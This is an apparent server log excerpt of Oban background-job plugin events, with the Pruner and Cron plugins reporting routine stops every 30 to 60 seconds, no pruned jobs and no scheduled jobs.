02:52:05.086 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:35.089 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.742 [info] {"source":"oban","duration":189,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:53:05.092 [info] {"source":"oban","duration":2369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:35.095 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.743 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:54:05.098 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:35.101 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.745 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:55:05.104 [info] {"source":"oban","duration":2240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:35.107 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.745 [info] {"source":"oban","duration":187,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:56:05.110 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:35.113 [info] {"source":"oban","duration":1922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.746 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:57:05.116 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:35.119 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.747 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:58:05.122 [info] {"source":"oban","duration":1915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:35.125 [info] {"source":"oban","duration":1899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.748 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:59:05.128 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:35.131 [info] {"source":"oban","duration":2010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:00.749 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:00:05.134 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:35.137 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.750 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:01:05.140 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:35.143 [info] {"source":"oban","duration":2046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.752 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:02:05.146 [info] {"source":"oban","duration":1801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:35.149 [info] {"source":"oban","duration":1853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.753 [info] {"source":"oban","duration":172,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:03:05.151 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:35.153 [info] {"source":"oban","duration":2163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.754 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:04:05.156 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:35.159 [info] {"source":"oban","duration":1979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:00.755 [info] {"source":"oban","duration":197,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:05:05.162 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:35.164 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.756 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:06:05.167 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:35.170 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.757 [info] {"source":"oban","duration":173,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:07:05.172 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:35.174 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.758 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:08:05.177 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:35.179 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.760 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:09:05.181 [info] {"source":"oban","duration":1896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:35.184 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.761 [info] {"source":"oban","duration":190,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:10:05.186 [info] {"source":"oban","duration":1832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:35.189 [info] {"source":"oban","duration":2093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.762 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:11:05.192 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:35.195 [info] {"source":"oban","duration":2026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.764 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:12:05.198 [info] {"source":"oban","duration":1692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:35.201 [info] {"source":"oban","duration":2055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.764 [info] {"source":"oban","duration":221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:13:05.204 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:35.207 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.765 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:14:05.210 [info] {"source":"oban","duration":2267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:35.213 [info] {"source":"oban","duration":1774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:00.766 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:15:05.216 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:35.219 [info] {"source":"oban","duration":1623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.767 [info] {"source":"oban","duration":189,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:16:05.221 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:35.224 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.769 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:17:05.227 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:35.230 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.771 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:18:05.233 [info] {"source":"oban","duration":2062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:35.236 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.771 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:19:05.238 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:35.241 [info] {"source":"oban","duration":1718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.772 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:20:05.244 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:35.247 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.773 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:21:05.250 [info] {"source":"oban","duration":1704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:35.253 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.774 [info] {"source":"oban","duration":186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:22:05.256 [info] {"source":"oban","duration":1651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:35.259 [info] {"source":"oban","duration":1730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.775 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:23:05.261 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:35.264 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:00.776 [info] {"source":"oban","duration":195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:24:05.267 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:35.270 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.778 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:25:05.273 [info] {"source":"oban","duration":2100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:35.276 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:00.778 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:26:05.279 [info] {"source":"oban","duration":1950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:35.282 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.780 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:27:05.285 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:35.288 [info] {"source":"oban","duration":1979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.781 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:28:05.291 [info] {"source":"oban","duration":1759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:35.294 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.782 [info] {"source":"oban","duration":160,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:29:05.297 [info] {"source":"oban","duration":1699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:35.300 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.783 [info] {"source":"oban","duration":205,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:30:05.302 [info] {"source":"oban","duration":1747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:35.305 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.784 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:31:05.308 [info] {"source":"oban","duration":1847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:35.311 [info] {"source":"oban","duration":1613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.785 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:32:05.314 [info] {"source":"oban","duration":1900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:35.317 [info] {"source":"oban","duration":1882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.787 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:33:05.320 [info] {"source":"oban","duration":2076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:35.323 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.788 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:34:05.326 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:35.329 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.789 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:35:05.332 [info] {"source":"oban","duration":1888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:35.335 [info] {"source":"oban","duration":1855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.790 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:36:05.338 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:35.341 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.791 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:37:05.344 [info] {"source":"oban","duration":1852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:35.347 [info] {"source":"oban","duration":1955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.792 [info] {"source":"oban","duration":209,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:38:05.350 [info] {"source":"oban","duration":1793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:35.353 [info] {"source":"oban","duration":1758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.794 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:39:05.356 [info] {"source":"oban","duration":2063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:35.359 [info] {"source":"oban","duration":1793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.795 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:40:05.362 [info] {"source":"oban","duration":1720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:35.365 [info] {"source":"oban","duration":1719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.797 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:41:05.368 [info] {"source":"oban","duration":2100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:35.371 [info] {"source":"oban","duration":2072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.798 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:42:05.374 [info] {"source":"oban","duration":2106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:35.377 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.800 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:43:05.380 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:35.383 [info] {"source":"oban","duration":1706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.801 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:44:05.386 [info] {"source":"oban","duration":2054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:35.389 [info] {"source":"oban","duration":1959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.803 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:45:05.392 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:35.396 [info] {"source":"oban","duration":2279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.804 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:46:05.399 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:35.402 [info] {"source":"oban","duration":1729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.806 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:47:05.405 [info] {"source":"oban","duration":1710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:35.408 [info] {"source":"oban","duration":1756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:00.806 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:48:05.411 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:35.414 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.808 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:49:05.417 [info] {"source":"oban","duration":1766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:35.420 [info] {"source":"oban","duration":1682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.809 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:50:05.423 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:35.426 [info] {"source":"oban","duration":1764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:00.811 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:51:05.429 [info] {"source":"oban","duration":2149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:35.432 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:00.811 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:52:05.435 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:35.438 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.813 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:53:05.441 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:35.444 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.815 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:54:05.447 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:35.450 [info] {"source":"oban","duration":1994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.816 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:55:05.453 [info] {"source":"oban","duration":1865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:35.456 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.818 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:56:05.459 [info] {"source":"oban","duration":1886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:35.462 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.820 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:57:05.465 [info] {"source":"oban","duration":1733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:35.468 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.822 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:58:05.470 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:35.473 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.822 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:59:05.476 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:35.479 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:00.824 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:00:05.482 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:35.485 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.825 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:01:05.488 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:35.490 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.827 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:02:05.492 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:35.495 [info] {"source":"oban","duration":2080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.828 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:03:05.498 [info] {"source":"oban","duration":1705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:35.501 [info] {"source":"oban","duration":2039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.829 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:04:05.504 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:35.507 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.830 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:05:05.510 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:35.513 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.831 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:06:05.516 [info] {"source":"oban","duration":1727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:35.519 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.832 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:07:05.522 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:35.526 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.834 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:08:05.529 [info] {"source":"oban","duration":2089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:35.532 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.835 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:09:05.535 [info] {"source":"oban","duration":2087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:35.538 [info] {"source":"oban","duration":1686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.837 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:10:05.541 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:35.544 [info] {"source":"oban","duration":1883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.838 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:11:05.547 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:35.550 